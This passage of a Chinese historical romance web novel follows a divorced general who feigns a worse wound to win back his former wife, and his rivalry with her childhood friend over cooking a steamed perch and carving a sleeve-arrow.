她想去看一看他的伤势,可他毕竟是个外男,她一时不知该如何是好,只好将自己的手帕拿了出来,让他捂住伤口。
裴秉安垂眸凝视着她,将她的慌乱不安尽收眼底。
他受了伤,她是担心他的。
夫妻三年,虽然和离了,他们之间的情分尚在。
“云瑶,”他艰难地动了动唇,将她的绣帕按在伤口,似在忍受蚀骨疼痛般,痛苦地拧起眉头,“我胸口很疼。”
第57章 第57章他已起了烧热
伤在心脉,非同小可,重会有性命之忧,不能等闲视之。
正在此时,府衙的差役及时赶了过来。
贼匪已被悉数擒拿,只需差役带回府衙审问定罪,告诉青桔先回苏宅配合官府传唤后,苏云瑶便立即吩咐车夫驾车直奔附近最近的医堂。
身姿笔挺地坐在马车里,裴秉安缓缓移开覆在胸口的大手。
掌心摊开,绣着紫薇花的杏色绣帕血迹斑斑,望之令人触目惊心。
苏云瑶紧紧提起的心,一刻未曾放下过。
“你现在怎么样?疼不疼?可还能忍受?”
裴秉安眉头紧锁,以拳抵唇重咳了声,看着她沉声道:“尚能忍受,你不必担心。”
他这样说,苏云瑶紧绷的心弦并没有轻松半分。
他若无大碍还罢,若他因为救她与青桔丢了性命,即便此事是他自愿所为,她也难以承担这份重责。
此刻,她只希望他安然无恙。
车内,到处都是浓重的血腥味,他左胸的伤处,鲜血早已渗透了衣襟。
到达医堂尚还需要一段时间,此时需要先为他止血。
车里有些备用的跌打损伤药物,苏云瑶手忙脚乱地翻出了一瓶金疮药,对他道:“这药可以止血,你先上药吧。”
裴秉安不易察觉地勾起唇角,从她手
中接过了药瓶。
只是,垂眸看去,那玉白瓷瓶的瓶底印着极小的保和堂三个字。
她常用的药物,都是徐长霖为她准备的。
眸底的笑意凝住,裴秉安不悦地抿直了唇角。
“不必,我尚能坚持。”他搁在膝头的大掌悄然握成拳头,淡声拒绝。
伤势明明不轻,他却不以为意,苏云瑶不由深深拧起眉头,无语地看了他几眼。
记得,和离之前,有一次,他外出平叛大功告成,返回的路上却遭了叛军余孽伏击,左臂中了一刀。
也是只有那次,一向孝字当头的他,回府后没有先去拜见祖母与继母,而是先见了她,让她为他包扎伤口。
那处刀伤深可见骨,至今想起,依然让人心有余悸,他却毫不在意,只是让她用细布随便缠了几下伤口,便打算照常去处理军务。
在裴府时,她一向言笑晏晏,温婉柔顺,那一次,她却难以控制自己的情绪,因他不知爱惜自己的身体,罕见地冲他发了脾气。
自然,那时他们还是夫妻,做为妻子,于情于理,她该在意他伤势,不能放任他逞性妄为。
如今他们早已和离,不过是彼此有些熟悉的陌生人,她关心他的伤势,只是怕他因救她丢了性命而已。
苏云瑶默然深吸口气,压下烦躁不安的心绪,道:“你把衣裳解开吧,我给你上药。”
闻言,裴秉安情绪难辨地看了她一眼,继而别过脸去,低声道:“好。”
他的伤口,在左胸上方靠近锁骨之处,撩开上袍衣襟后,只见肌理分明的精壮胸膛上,赫然多了一道大约两寸多长的伤口。
皮肉血淋淋地外翻着,鲜血还在不断汩汩流出。
苏云瑶目不斜视地盯着他的伤口,动作迅速地倒出金疮药粉,均匀地撒到了伤处。
耳旁响起他因吃痛而轻轻吸气的声音。
金疮药触及伤口,会有灼热疼痛的感觉,苏云瑶轻声道:“有点疼,你忍一忍,马上就好。”
伤口覆上药粉,马车内却没有细布,苏云瑶蹙眉思忖一瞬,视线落在他雪白的中衣上。
“我要用一下你的中衣。”
性命攸关的时刻,也顾不上太多男女大防,她告知他一声后,便严肃地看了他一眼,示意他将衣裳脱下来。
裴秉安不自在地清了清嗓子,道:“好,你转过身去。”
片刻后,耳旁响起窸窣的声音,他沉声道:“好了。”
转过头来,看到他的中衣已放在面前,苏云瑶以箭簇做刃,在他的衣裳上划开一条口子。
只听刺啦几声响起,不过几瞬之后,她的手中便多了一条细长的白布条。
这白布条,可暂当细布来用,待裴秉安动手用布条缠好了伤口时,马车已飞快驶进城门,朝最近的医堂行去。
“莫要去医堂,去南苑的军医署。”他突然沉声吩咐道。
军医署乃是金吾卫所设,内有专门的医官和医卒,可为士兵与将领看诊。
不过,听到他这样说,苏云瑶十分惊讶,因为南苑距离这里太远,路上至少得花费一个时辰,他伤势紧急,这附近就有医堂,何必舍近求远?
“看病当紧,为何非要去军医署?”
迎着她肃然而探究的视线,裴秉安正襟危坐,面不改色地说:“你不必担心,已用了金疮药,我暂无性命之忧。因我身份特殊,为免因伤引起妄议猜测,不宜在外就医。”
苏云瑶思忖着点了点头。
他说的话也不无道理。
朝堂的事,她并不太清楚,但他身为金吾卫上将军兼枢密院院事,一举一动定然受人关注,若是他因追拿贼匪而负伤的消息传扬出去,也许会生出什么波澜。
想到这里,苏云瑶立刻叩了叩车壁,吩咐车夫道:“去南苑。”
扬鞭催马了一个多时辰,终于赶在暮色四合前,到了军医署。
这军医署,苏云瑶是第一次来。
她原以为,裴秉安坚持到这里来诊病,军医署定然有许多高明的军医,没想到其中的情形,竟然与她想象的截然不同。
医室中,只有一个年轻的军医在哼着曲儿自斟自饮,除了他,整个医署连个多余的医卒都没有。
而此时那军医饮酒正酣,压根不曾注意到她的到来。
她不由拧起眉头,一时有些担忧,这样的医署,能为病患看诊吗?
不到片刻,裴秉安紧随其后,大步跨进医室,沉声道:“李军医。”
听到熟悉的沉稳嗓音,李军医扭过头看了看,慢悠悠放下了酒盏。
不过,突然发现上将军似乎破天荒地受了伤,他立时大步过来,托着下巴饶有兴致地围着他绕了一圈,之后疑惑地看了眼苏云瑶。
“姑娘,到底怎么回事儿?”
苏云瑶言简意赅地解释道:“是我路遇匪贼,将军出手相救,擒贼时,被刺中了胸膛,伤在左胸”
话未说完,她迟疑了片刻。
初次相见,这位军医值守时还在饮酒,对他的医术,她难免有些不够信任。
默然几瞬,她还是道:“还请大夫尽快给将军诊治吧。”
若是他医术不佳,届时,无论裴秉安再怎么说,她也会坚持己见,带他去保和堂看诊。
闻言,李军医哂笑几声,有些不相信地说:“我没听错吧?姑娘,区区几个匪贼,竟然能伤得了将军?”
苏云瑶愣了愣,一时不知该说什么,裴秉安却沉沉睨了他一眼,冷声道:“无需多言,看诊即可。”
视线在两人之间悄然打了个转儿,李军医突然恍然大悟似地点了点头,正色道:“将军说得是。还请将军除去外袍,让我检查一下伤口。”
为了避嫌,李军医看诊时,苏云瑶去了旁边的偏房等待。
半刻钟后,待她再去医室时,李军医已为裴秉安重新处理包扎了伤口。
只是,此时,他的脸色虽已不那么煞白,却拧眉坐在长椅上,神情十分凝重。
看到她进来,李军医在自己胸口上比划了下,语气沉痛地说:“姑娘,将军伤到了心脉,伤势十分严重啊。”
苏云瑶的心霎时紧绷起来。
“那该怎么办?你是大夫,一定有救治的办法,对不对?”
李军医叹了口气,正色道:“那是自然,我已给将军看诊过,暂无大碍,话说回来,幸亏将军到医署来,要是去了别处,只怕凶多吉少。”
这位大夫举止散漫,言语夸张,不知他说的话有几分真几分假,但听到他说裴秉安暂无大碍,苏云瑶揪了一路的心,终于轻松了一点儿。
“处理完伤口,可还要换药和服用汤药?”她请教道。
李军医郑重地点了点头,道:“先在医署住三日,每日换药三次,汤药也要服用三次,等伤口开始愈合时,将军才可以离开这里。”
在医署安顿好裴秉安,已经到了夜半时分。
南苑距离城宝坊需要一个多时辰的路程,天色太晚,不便赶路,苏云瑶也只能暂且在这里住下。
医署有诸多厢房,按照李军医的安排,裴秉安住在了东厢房里养伤,其中相邻的房间,是整个医署条件最好的一间,他将那房间的钥匙给了苏云瑶。
“姑娘,按理来说,我们这里只能让士兵看诊居住,不准百姓进入的。姑娘今日是个例外,但你住在这里,需得帮我一个忙。”交来钥匙的同时,李军医提出了条件。
苏云瑶微微一愣,道:“李大夫请说。”
李军医头疼地挠了挠头,说:“你看,我们这医署中,近日只有我一个大夫,我今晚还要去卫所诊病,实
在分身乏术,这三天,照顾将军的事,只能拜托给你了。”
闻言,苏云瑶不由拧起眉头。
裴秉安为了擒匪而负伤,也是为了救她而负伤,按理来说,他的伤势没有痊愈,她是该有带他看诊的义务。
可是要她足足照看他三日,这属实让她左右为难。
他们早已经和离,他现在没有性命之忧,她便放心了。
于她来说,他到底只是个与她不再有什么关系的外男而已,她不方便,也不想照顾他。
“李大夫,你还是想想办法,尽快请别的大夫来吧,我还有许多要事,明日就得回去”
不过,她话未说完,李军医已经把汤药搁在了桌案上。
随后急促奔跑的脚步声响起,转眼间,他已经一溜烟消失在了夜色中,不知去了何处。
无奈片刻,苏云瑶只得端起汤药,去了隔壁的厢房。
房里亮着一盏灯。
悠亮烛火下,裴秉安身姿端正地坐在椅子上,因看到她走了进来,他微微勾起了唇角。
“云瑶,麻烦你了。”说话时,他以拳抵唇重重咳了几声。
苏云瑶笑了笑,无论如何,他尽快养好伤,才是最重要的。
“没事,我还要多谢你,先把药喝了,早点歇息。”
那碗黑褐色的汤药,裴秉安仰首一饮而尽,苦药入喉,他的眉头没有轻皱一下。
只是,仔细打量了一眼他苍白的脸色,发现他的脸颊竟隐约有些不正常的酡红,苏云瑶的心一下又提了起来。
还没等她反应过来,她已经如以前那样,伸手覆上了裴秉安的额头。
她霎时大惊失色。
不知何时,他已起了烧热,额角滚烫不已,那过分升高的体温,简直灼伤了她的掌心。
第58章 第58章麻烦你带我回你家暂住几……
纤细白皙的手掌覆在额头,触感柔软,微凉,给本来有些晕沉的思绪带来几分清明。
裴秉安微微一怔,像被定住似的,抬眸一动不动地凝视着眼前的人。
和离之前,有一次,他受了伤,担心他起了烧热,她也曾这样试探过他的额温。
那时,他觉得不过一点小小的刀伤而已,她实在一惊一乍,小题大做。
而现在,她如以前一样关心他的伤势,苦肉计得逞,他的喉头却有些发哽。
失去才知珍惜。
那些原本平平常常的日子,如今他费尽心思,才侥幸换回能够与她呆在一起数日的机会。
“你们军医署到底怎么回事?那李军医到底靠不靠谱?现在需要用他,他人却不见了”
裴秉安伤势严重,又起了烧热,偏偏李军医又不在跟前,除了刚才那碗汤药,这里再没有其他的药物。
苏云瑶急不择言,寻了一圈没找到什么退烧的用药,生气地责怪了几句军医署与李军医后,又不高兴地瞥了裴秉安几眼。
他偏要到这里来瞧病,若是早知军医署这样,无论如何,她都不会让他到这儿来的。
她在这里人生地不熟,叫天天不应,叫地地不灵,若是耽误了他的病情,让他留下遗症或是丢了性命,她该如何是好?
嘱咐裴秉安躺在榻上歇息,苏云瑶拧了只湿帕子,轻轻搭在他的额头。
“你现在怎么样?身上冷不冷,难受不难受?”
闷声咳了几下,星眸虚弱地半阖着,裴秉安的视线却一直未曾从她脸上移开半分。
“云瑶,不过起了烧热,并无大碍,我很快就会好的。”
听到他这样说,忧心忡忡地看着他苍白如纸的脸庞,苏云瑶更是气不打一处来。
都什么时候了,还口口声声说没有大碍!
他体魄强悍又如何,说到底也只是血肉之身,又不是铁打的筋骨,就算有神医此时在这里守着,也未必敢断言他一定会安然无恙。
“不行,若是半个时辰后还不退烧,我就去别的医堂给你找大夫来!”
深更半夜也罢,路途遥远也罢,只要他没有真正脱离凶险,她便不能完全放下心来。
目不转睛地看着她,裴秉安的眸底,悄然闪过一抹轻浅的笑意。
他抬起手来,想要摸一摸她亲手放在他额上的湿帕子,只是动作间不小心扯住了伤口,钻心的疼痛蓦然袭来,他不由吃痛地深吸了口气。
看到他拧紧的眉头,苏云瑶的脸色因担心又白了几分。
他额角发烫,简直像个火炉,那湿帕子已快要烤干了,嘱咐他不要乱动以后,她重新浸湿了帕子,再次放在他的额头上。
时间一点一滴过去,默默计算着时辰,直过了两刻钟,裴秉安的烧热还没有退去的迹象,苏云瑶的心弦越绷越紧。
突然,想到他此前让她为士兵做的香囊,她已做好了一只,恰好就放在她的荷包里,她急忙拿了出来。
考虑到士兵常在户外行军作战,香囊之中,她除了放了些可以驱虫避秽,提神醒脑,镇静安神的艾叶、菖蒲与柴胡,还特意让人去护国寺求了平安符。
她平时是不信什么神佛的,但此时此刻,病急乱投医,也不知平安符到底能不能派上用场,她默默求神拜佛念叨了几句,便把香囊塞到了他的大手里。
掌心触碰到一个葫芦形的东西,裴秉安握了握劲挺的长指,虚弱地睁开了眼睛。
“是什么?”开口时,他的嗓音十分干哑。
“香囊。”
看他醒了过来,苏云瑶再次试了试他的额温,那温度依然没有下降,他的病情似乎愈发凶险,她不由鼻子一酸。
原来计划要等半个时辰,可此时她心急如焚,再多一息的时间,她也等不下去了。
“你在这里等我,我去找大夫来。”
还没等她起身,衣袖忽然被一只大手牵住。
苏云瑶回眸,看到裴秉安已捂着胸口的伤处,从榻上坐了起来。
“天色太晚,你一个人出去,我不放心,”说话时,他沉闷地咳嗽了几声,“再等两刻钟,若是烧热没退,再做打算。”
纠结犹豫了一会儿,苏云瑶耐着性子又等了起来。
只是,平时晚间的两刻钟,不过是她愉快地看数页话本儿的时间,这会儿却漫长得让人几乎难以忍受。
直到她再次霍然起身时,忽地发现,重新躺回榻上沉睡的人,苍白的额角渗出了豆大的汗珠。
睡意朦胧间,熟悉的清淡的香气始终萦绕在身侧,纤细的手指轻轻帮他拭去脸上的冷汗时,裴秉安本能地握住那只手,喃喃低语了几句。
“云瑶,以前是我不对,我要怎么做,你才能再回到我身边?”
他烧糊涂时说的话,苏云瑶恍若未闻,根本没有放在心上。
裴秉安退了烧,病情没有方才那么凶险,她紧绷的心弦总算放松了些许。
没多久,疲倦的睡意潮水般弥漫过来,她靠在床榻旁打起了盹儿。
只是,再次睁开眼睛时,发现自己不是在裴秉安身边守着,而是躺在隔壁厢房的床榻上,苏云瑶愣愣地盯了会儿帐子顶,才逐渐醒转过来。
她用力揉了揉额角,却怎么也想不起昨晚自己是何时回的房间。
想不起来,便不去想了。
昨晚她和衣而睡,衣裳没有凌乱半分,也许是累坏了,回房倒头就睡,将睡前的事忘了个干干净净。
窗外天光大亮,初春的天气,清晨尚有凉意,料峭春风悄然送来几缕梅花的清幽香气。
苏云瑶定了定神,起身下榻后,却突地听到外面传来叮叮当当的声响 。
那声音似乎从隔壁的房间传来,她愣了片刻,便急忙推门走了过去。
跨进门槛,看向房内时,苏云瑶的眼中,满是难以掩饰的震惊。
不知何时,裴秉安早已起身下榻了。
此时,他身姿肃挺地坐在桌案前,正拿着一把刻刀,在一截手腕般粗细的青竹上砍砍凿凿,不知在做些什么。
听到她进门的声音,他神色如常地抬眸看了她一眼,沉声道:“你来了。”
苏云瑶仔细打量了他几眼。
他脸上没有半分病容,看来昨晚那来势汹汹的烧热,对他没有什么影响,最危险的时候已经过去,他的伤势稳定下来,她总算放心一些了。
“将军今天感觉怎样了?”
闻言,裴秉安眉头突地一拧。
似乎恍然想起自己还是大病未愈的状态,他沉默片刻,忽然偏过头去,以拳抵唇重重咳了几声。
“不太好。”他嗓音干哑地说。
伤势严重,不会这么快便能恢复如初,这并不让人意外,苏云瑶轻轻点了点头,视线落在他手里的那截青竹上。
青竹表面打磨得极其光滑,已被他削成了大约她手掌那么长的尺寸,不知到底做什么用途。
“将军在做什么?”她好奇地问道。
裴秉安默然片刻。
许久没握刻刀,手艺略显生疏,这只千挑万选回来的青竹,他很不满意,打算重新再做。
“闲来无事,打发时间,刻些小玩意儿。”他淡声道。
苏云瑶:“哦。”
他不想细说,她也没兴趣再问,不知李军医今天会不会回来,但这军医署,她今日是必须得离开了。
他受了伤,不知裴府的人知不知道,这军医署的医官十分不靠谱,她回城宝坊时,可以顺便打发人去裴府送个信儿,让他的家人来照顾他。
“将军,抱歉,我不能在这里久呆。你看,是我让人给你府里说一声,还是”
想了想,苏云瑶突然扬起秀眉,知趣地咽下了嘴里的话。
她应该多虑了。
他一日不回府,青山自然会找寻他主子的下落,兴许裴府的人早就知道了,说不定,听说他受了重伤,宋婉柔早已在赶来的路上了。
为免造成什么误会,她先一步离开这儿才好。
“总之,多谢将军出手相救,这份恩情我记下了。以后,若是将军需要我帮什么忙,也不必同我客气,就算我能力有限,也会尽绵薄之力的。”
听到她的话,裴秉安胸膛沉闷地起伏数息,突然捂着胸口,躬身重重咳了起来。
苏云瑶几乎吓了一跳。
“你怎么样?有没有事?”
她忙倒了盏热茶,小心吹凉了,送到他手边,让他喝下几口顺顺气。
喝过她递来的热茶,裴秉安沉冷如霜的苍白脸色,才勉强好了半点儿。
“云瑶,我受伤的事,不想惊动家人,以免她们担心。”默然数息,他沉声开口。
苏云瑶恍然点了点头。
是她思虑不周了,忘了他是个极为孝顺的人。
若是老太太与罗夫人知道他受了这么严重的伤,只怕会担心不已。
“那青山呢?”她蹙眉问道。
青山跟随他多年,与他虽是主仆,却情同兄弟,他受了伤,由他来照顾一二,应该没什么问题吧?
“青山近日染了风寒,已卧床数日,尚还未好转,我的事,也暂时不想让他忧心。”
苏云瑶默默哦了一声。
这军医署没有医官,她自顾自离开,独留他一个人在这里,着实也放心不下。
思忖片刻后,她眼神一亮,道:“将军不想惊动旁人,我可以理解,但将军还是跟婉柔姑娘说一声吧,她是你的身边人,合该来照顾你的。”
闻言,裴秉安沉沉看了她一眼。
“她已回宋家,以后再也不是什么妾室姨娘了,过去的事,你也莫要再提了。”
苏云瑶吃惊地看着他,这事让她十分意外,一时竟不知该再说什么。
室内寂然许久,裴秉安摸了摸腰间的香囊,道:“云瑶,若是方便的话,麻烦你带我回你家暂住几日吧。”
第59章 第59章刚做的清蒸鲈鱼,你来尝……
苏宅暂时多了一口人,住在后院的厢房里。
裴秉安的伤势已不像昨晚那么凶险,只需按时换药服药,静心调养几日,便不会再有大碍。
青桔一早便被传唤去了府衙,还没等苏云瑶出门去接她,她已带着差役高高兴兴地进了门。
那几个被押去官府的盗贼日前四处流窜,屡屡作案,闹得京都人心惶惶。
金吾卫与官府都在追拿这一伙盗贼,没想到竟被两个姑娘和一个路过的侠士擒拿,证据确凿,盗贼认罪不讳,府衙已以律将他们审判定罪,择日便会公之于众,以安抚民众。
府衙本要大力褒奖擒住盗贼的人,但青桔听从小姐的叮嘱,暂时没告诉官府那侠士到底是谁,官差送她回来,便是要问清侠士的姓名。
苏云瑶早已思忖过这件事。
是否要透露侠士的身份,要经过裴秉安的同意才行。
于普通人来说,一人赤手空拳应对七八名匪贼,确实非同凡响,值得褒奖。
可他在战场上以一敌百,百战百胜毫发无损,擒住这么多贼匪应在众人意料之中,只是没想到他竟然受了重伤,若是传扬出去,一来,会否有损他的勇猛威名?二来,让他的家人知道了,恐怕会十分担心。
端来他该服的汤药时,苏云瑶言简意赅地说了官差来苏宅的意图,对他道:“将军意下如何?”
不过是随手擒拿歹徒的小事,根本不值一提,况且
裴秉安垂眸看了她一眼,抬起大手虚虚捂住胸口的伤处,似因为疼痛而拧起了眉头。
“此事无需张扬,让他们离开吧,伤口未愈,我只想静养几日。”
他这样说,苏云瑶自然没有异议,请官差离开后,香铺生意繁忙,她也要出门一趟。
想到裴秉安向来准时自律,从未曾因私事耽误过军务,现在却得因受伤呆在宅中,临出门前,苏云瑶道:“将军可需告假?若需要的话,我打发人知会雷将军一声。”
她本以为他会同意,谁料他却道:“不必,我自有安排。”
默然片刻,站在院门处,他以拳抵唇重重咳了几声,又道:“你何时回家?”
本来打算处理完香铺的事,傍晚再回来,但看到他那大病未愈略显苍白的脸色,苏云瑶道:“将军在家好生歇着吧,我尽量早点回来。”
目送她登上马车离开,那马车驶过长街,消失在视线之外后,裴秉安朝角落处立掌挥了挥手。
片刻后,李军医压低头上的斗笠,打着哈欠走了出来。
他昨晚候在军医署外,一大早又一路悄悄跟踪到校尉胡同,悬心熬了大半夜,连瞌睡都没敢打一个,他容易吗?
“没有大碍了吧?”
裴秉安略一颔首,道:“能否让我的伤势好转得再慢些?”
李军医无语地看了他半晌。
早知如此,何必当初?
是谁在签和离书之前,坐在军医署里,连着喝了三晚的酒,满脸严肃地说必须要与苏氏和离。
他与雷、吴三人苦口婆心地劝他放下架子哄一哄人,他却根本不听。
现在知道后悔了,连苦肉计都用上了,就不怕被人家发现真相,把他丢出门外?
李军医不屑地啧了一声,扔给他一瓶创伤药。
“每天往伤口涂一回,少说十天半个月才能愈合。”
裴秉安点了点头,吩咐道:“你去转告雷震虎与吴靖,这几日,由他二人暂代我处理军务,另外”
说着,他从袖中抽出封信来,脸色蓦然沉冷了几分。
日前赵将军从边境写了封信,信中提到年初下发给边境军的军粮,竟有一大半是发霉的坏粮,剩下的军粮,不足士兵三个月之用了。
“你亲自将信送到赵将军手里,记住,不要走驿道,也不要让任何人察觉你此行的目的。”
事关边境,非同小可,李军医一改方才双手抱臂的散漫姿态,郑重地接过信笺揣到怀里,压了压斗笠的边沿,无声离开。
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过了午后,苏宅的厨房冒出袅袅炊烟。
苏云瑶离开前,嘱咐过厨娘做几样清淡的小菜,熬一锅补身的参骨汤,灶房的骨汤快要炖好时,苏宅响起重
重的叩门声。
青桔哼着小曲儿去开了门。
“大少爷?”
徐长霖点头笑道:“大小姐呢?”
“小姐去铺子里了,还没回来呢。”
徐公子不是外人,青桔忙不迭把之前遇险的事,绘声绘色得同说了一遍。
“大少爷,那些坏人就在马车外面,我和小姐准备拿出棍棒弓箭,把他们打个落花流水片甲不留的时候,突然,裴将军从天而降,三拳五脚,就把那些坏蛋降服了!”
徐长霖不由一愣,“哪个裴将军?”
“就是前姑爷啊,”青桔高兴地咧开嘴角,朝后院的方向一指,“前姑爷就在后院住着养伤呢!”
后院之中,裴秉安灵活地转了转掌中的短匕,一丝不苟地刻完最后一刀后,一只长约八寸,手腕般粗细的袖箭,便出现在了眼前。
袖箭精巧无双,实用又精美,一看便知他为谁所刻。
徐长霖的视线像被粘住似地看了一会儿袖箭后,拂袖在他面前落座。
“裴将军好兴致,身负重伤,还能做袖箭,实在让人佩服。”
裴秉安淡淡看了他一眼,“徐公子别来无恙,今日贸然造访,是为何事?”
徐长霖若有所思地盯着他,不答反道:“我怎么看着,将军不像是身受重伤的样子?将军应该知道,在下不才,也略懂一些医术,将军的伤,不若让徐某瞧瞧,以免误诊?”
空气似乎凝滞了一瞬。
沉默片刻,裴秉安面不改色地说:“多谢徐公子的好意,裴某已找大夫看过,无需你再费心。”
相对无言几息,徐长霖冷冷勾唇扬眉一笑,拂袖站了起来。
“既然将军拒绝,在下也不好勉强。不过,我今天来,是为了给瑶瑶做她爱吃的清蒸鲈鱼。自小到大,她爱吃什么我都知道,”他意味深长地顿了顿,拖长声音说,“我亲自下厨做的鱼,她必定很是喜欢。”
他话音刚落,裴秉安已起身大步流星地越过他,径直向前院的厨房走去。
“不劳徐公子费心,庖厨之道,裴某也略知一二。”
眼看他走远了,徐长霖忙挽起衣袖,取出一把砭刀砍了半截青竹,抓耳挠腮地琢磨起雕刻来。
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午时过后,苏云瑶戴上帷帽,正打算提前离开香铺时,凝香坊中却来了一位不速之客。
崔如月的娘家侄子崔大世搂着个浓妆艳抹的姑娘,旁若无人卿卿我我地走到坊中买香饼。
凝香坊的苏荷香与清味香,京都之中,已经几乎无人不知无人不晓,他来买香饼,原也没什么奇怪之处。
可令苏云瑶纳罕得是,崔大世一身绫罗绸缎,头戴金冠,脖子挂着沉甸甸的金链,十个手指头夸张地戴着红绿宝石金戒指,浑身上下写着财大气粗几个字,简直晃得人睁不开眼睛。
苏云瑶不禁皱起了眉头。
这个崔大世,她之所以记得很清楚,是因为当初在裴府时,崔如月曾为他讨过老太太院里的秋红当老婆。
他原是个样样不精,只知吃喝玩乐的纨绔好色之徒,将姑娘嫁给他简直是往火坑里推,因为这事,她还灌了崔如月一肚子苦汤。
崔如月的父亲在世时,曾是个府衙的七品小官,她的兄弟才能平平,没有中举做官,只守着些家中祖产过日子,上次见那个崔大世时,他还是一副寻常打扮,现在却像是发了一笔横财,实在让人深感意外。
香铺柜台里摆放的那些香饼,隔着柜子都能闻到沁人的香味,崔大世却对那些香饼视而不见,眯眼四处看了看,掏出一张百两的银票拍到柜台上,指着柜台上的铁算盘,打着酒咯说:“把这个给我!”
那是店里算账用的,不是出售的,女伙计客气地说:“公子,您看错了,我们是卖香饼的,要不您看看我们的苏荷香”
话未说完,崔大世便斜眼瞪着她,狠声道:“大爷我想买什么就买什么,用你多嘴多舌?”
与他同行的女子依偎在他身前,娇笑着拍了拍他的胸膛,温香软玉在怀,崔大世酒意越发上头,道:“还不给大爷包起来,小心大爷不耐烦了,砸了你的铺子!”
“公子稍安勿躁,”身后传来一道温柔的女子声音,崔大世瞪着眼睛向后看去,却只见轻纱遮住了女子的面容,看不清她是什么模样,“我们的算盘,不收银子,是要以物换物的”
苏云瑶的视线落在他右手拇指上戴的翡翠戒指上,道:“公子一看便是富贵之人,这手上的戒指定然价值不菲,恰好,本店的算盘也是玄铁所制的贵重之物,若是公子愿意的话,就用你手上的戒指换本店的算盘吧。”
听到“富贵之人”那几个字,以为这是恭维,崔大世已咧嘴笑了起来,他撸下翡翠戒指,往柜台上一抛,道:“算你有眼识相,成交!”
客客气气地送走崔大世,翻来覆去仔细地看了几眼那枚戒指,苏云瑶让刘信收好,去打听一下这戒指是从哪家首饰铺里买的。
非是她多心。
崔家的事,她不必多管的,但她隐约觉得其中有些不对劲,不查清了,她心里有些不安。
嘱咐刘信几句后,她便回了苏宅。
刚到午后该用饭的时辰,她一早便嘱咐过厨娘做些裴秉安爱吃的东西。
只是进了院门,没闻到饭菜飘香,却有一股浓重的烧糊的味道从厨房传了出来。
听到她回来的声音,裴秉安阔步从厨房走了出来。
苍白额角顶着几道黑灰,他身姿笔挺地站在门外,沉声道:“云瑶,我刚做的清蒸鲈鱼,你来尝尝。”
他会下厨做鱼?
苏云瑶难以置信地瞪大了杏眸。
还没等她开口,身后响起疾步走来的脚步声。
“瑶瑶,”还未走到近前,徐长霖温润含笑的声音已传了过来,“我给你做了一枚袖箭,你来试试。”
第60章 第60章生怕他伤势加重。
青竹做成的袖箭精致小巧,在日光下泛着温润的光泽。
箭筒上,砭刀精心雕刻的桃花灿然绽放,就像当初在青州时,绚烂如霞的花瓣如春雨般纷飞,马背上的少男少女欢笑着纵马穿过桃林,桃花落了满身。
抬眼看着徐长霖,苏云瑶不禁莞尔一笑。
“你何时会做袖箭了?”
“没学会多久,我手艺不精,你先试试怎么样,若是不好,我再改进改进。”
似是不经意间往前迈了几步,堪堪侧身挡住一旁那利刃似的沉冷视线,徐长霖微笑着将袖箭递了过去。
一旁,垂眸盯着那把袖箭,裴秉安苍白的脸色铁青不已,无声冷笑。
徐氏学他做袖箭,不过是东施效颦!
接过袖箭,将五寸长的竹箭放到袖箭里,轻轻拨了拨机关,苏云瑶抬手瞄准三丈开外的箭靶——为了方便堂弟休沐在家时练习箭法,她特意在院子东南角的空旷之处建了一个靶场。
瞬间,一道利落的弧线凌空划过,铎的一声,竹箭正中靶心。
小小的袖箭,准头与威力倒是不容小觑,苏云瑶爱不释手翻来覆去地看着,见她十分喜欢,徐长霖欣慰地清了清嗓子,道:“瑶瑶,日后你出行,就带着它防身吧。”
苏云瑶高兴地点了点头。
有了这把袖箭,她便安心多了。
若是那日遇到匪贼,她与青桔的马车里没有棍棒弓箭,亦或是没遇到裴秉安,只怕根本对付不了那些歹人。
而袖箭不同于弓箭,小巧精致,方便携带,可以用于日常防身。
不过,想到裴秉安,记起他方才说要她尝一尝他做的清蒸鲈鱼,苏云瑶回过神来,转眸看向站在不远处一言不发男人。
“将军做了菜?”
心绪不佳地默然数息,裴秉安略一颔首,道:“是,已经做好了,吃饭吧。”
听起来难以置信,苏云瑶惊讶地点了点头。
走进厨房,四周缭绕着烟雾,浓烈的糊味扑面而来。
看到那盘清蒸鱼,徐长霖挥起衣袖扇了扇风,亦无声冷笑了起来。
裴大将军没下过厨吧?
那清蒸鱼像是被熏烤过,难以言喻的焦糊味充斥着整个厨房,一看便难以入口,实在让人贻笑大方!
方桌上那盘黑乎乎的清蒸鱼看着不怎么样,苏云瑶硬着头皮拿起筷子,夹了一小块鱼肉放入口中嚼了几下。
只尝了一口,她便忍无可忍地吐了出来。
不能怪她没顾及裴秉安的面子,实在是,这清
蒸鱼又糊又腥,根本没法入口。
“别吃,那是我第一次做的,不成功,锅里还有。”
话音刚落,裴秉安大步走向蒸锅,掀开了锅盖。
转眼间,一盘晶莹剔透,香气扑鼻的清蒸鱼端了出来。
“尝尝。”他微不可察地勾起唇角,淡声道。
尝了一口,苏云瑶意犹未尽地盯着蒸鱼,秀眉不可思议地扬了起来。
裴秉安不会下厨,是在她的意料之中的,反倒是他做的菜味道不错,让她很是吃惊。
“你若是爱吃,我下次再做。”看她很是喜欢,裴秉安沉声道。
突然,徐长霖莫名冷笑一声,慢悠悠道:“裴将军救了瑶瑶,是令人感激,不过这做饭的事,自然有厨娘负责,裴将军是在这里养伤的,不是来下厨的。”
不知裴秉安为何会心血来潮下厨,但徐长霖的话,苏云瑶觉得很对。
“将军还是好好养伤吧,做饭的事,不用你动手。”
裴秉安不置可否,淡淡瞥了眼徐大夫,视线锐利如刃。
徐长霖亦毫不退让地看着他。
四目冷冷相对,温馨平静的厨房,似有汹涌起伏的暗流涌动。
对峙片刻,裴秉安一拂袍袖,道:“好,以后我暂不下厨了,但伤势未愈,恐怕我还要在这里多叨扰一些日子,倒是徐大夫”
他顿了顿,微微勾起唇角,意味深长地道:“徐大夫医务繁忙,想必不能多留吧。”
徐长霖负手而立,微微一笑:“裴将军此言差矣,医务再繁忙,也比不上瑶瑶的安危,一想起她路遇匪贼,我便心有余悸,近些日子,我也打算住在这里,暂且不去诊病了。”
苏云瑶:“?”
她抬眸看了眼徐神医。
莫不是他以为她收留裴秉安住在这里,有与他破镜重圆的打算,所以留下来劝她冷静?
他多为她担忧了。
从与裴秉安和离的那一天起,她就下定决心再也不会回到裴府,与他和好是根本不可能的事。
气氛莫名僵持时,院外突然传来咚咚的叩门声。
青桔小跑着去开了门。
来人是保和堂的小医徒。
到了院里,小医徒朝众人拱了拱手,对徐长霖道:“徐大夫,长公主府打发人来,说是永嘉郡主突然咳嗽不止,烧热不退,让您立刻去一趟。”
闻言,徐长霖的神色不由凝重了几分。
